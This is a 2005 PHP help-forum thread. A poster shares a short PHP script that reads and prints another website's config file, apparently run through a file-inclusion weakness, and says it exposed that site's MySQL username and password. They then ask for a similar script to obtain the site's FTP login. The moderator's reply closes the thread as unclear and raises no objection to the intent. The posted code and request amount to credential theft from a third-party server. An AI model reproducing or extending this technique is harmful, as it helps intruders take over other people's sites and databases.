Jump to content


Photo

Ftp Acess via php script ?


  • This topic is locked This topic is locked
1 reply to this topic

#1 new_matrix

new_matrix
  • New Members
  • Pip
  • Newbie
  • 1 posts

Posted 03 July 2005 - 10:47 AM

Hallo.

I want to run a php script in one site and to know the user and pass for ftp acess.
I put in my site a php script and i run it to the other site with ap_where:

<?php
$file = "../config/config.php";
$handle = fopen($file, "r");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
$contents = htmlspecialchars($contents);
echo $contents;
}

fclose($handle);
?>

and it gave me the pass and user for the mysql database,
any script to gave me the ftp elements??

Thanks

#2 Arenium

Arenium
  • Staff Alumni
  • Advanced Member
  • 111 posts
  • LocationMassachusetts

Posted 07 July 2005 - 02:08 AM

Mod Edit: Closed -- I'd move it if I knew what the question was asking, but I just plain DON'T. Please, rephrase and elaborate on your question respecting English wherever you can (we understand it may not be your first language) and make a new post in either the "PHP Help" or "PHP Newbies" forum. For all our sakes.

Thank you.




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users